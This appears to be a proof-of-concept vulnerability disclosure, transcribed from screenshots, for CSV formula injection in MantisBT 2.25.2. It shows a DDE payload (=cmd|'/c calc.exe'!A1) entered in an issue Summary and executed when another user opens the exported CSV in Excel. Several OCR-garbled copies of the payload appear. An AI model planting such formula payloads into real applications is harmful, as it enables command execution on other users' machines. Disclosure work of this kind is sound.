Proof Of Concept:

Step 1: Login into the application with any user.
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Warning: "admin" directory should be removed, or access to it restricted.

Warning: You should disable the default 'administrator' account or change its password.

Step 2: Navigate to Report Issue, fill in all the required details with =cmd|'/c calc.exe'!Al in
Summary field and report the issue.

OD localhost/mantisbt-2.25.2/bug_report_page.php
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* Category [All Projects] General v

Reproducibility have not tried v

Severity minor v

Priority norma v

Select Profile OrFillIn s

*Summary =cmd | /e calc.exe'lAl

*Description fnvifny




Step 3: Now Navigate to View Issues and check the summary field for confirmation.

http://localhost/mantisbt-2.25.2/view_all_bug_page.php
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M Viewing Issues @Raia)
| Print Reports " CSV Export " Excel Export |
P ID ® & Category Severity Status Updated ¥ Summary
0000004 General minor new 2021-10-01 =cmd|'/c calc.exe'lAl
»A 0000002 1 1 General tweak new 2021-10-01 nbjgnbjn
0000003 3 2 General tweak new 2021-10-01 =cmd|'/c calc.exe'lA1
0000001 23 18 General major assigned (administrator) 2021-10-01 =SUM(5,5)
Select All Copy v ‘ OK ‘
Step 4: Now Login with another user and navigate to view issues, now use the export
feature to export csv.
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| Print Reports " CSV Export " Excel Export |

P ID ® & Category Severity Status Updated ¥ Summary
0000004 General minor new 2021-10-01 =cmd|'/c calc.exe’lAl
A 0000002 1 1 General tweak new 2021-10-01 nbjgnbjn
0000003 | OPening HGHFHG.csv X 1 =cmd|'/c calc.exelAT
0000001 ] You have chosen to open: I =SUM(5,5)
HGHFHG.csv
Select All Copy which is: Microsoft Excel Comma Separated Values File (341 bytes)

from: http://localhost

What should Firefox do with this file?
Excel (default) b

(C) Save File

D Do this automatically for files like this from now on.
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Step 4: Once the export is done, open the csv file which pops up a calculator and results in
execution of summary column of the csv.

http://localhost/mantisbt-2.25.2/view_all_bug_page.php
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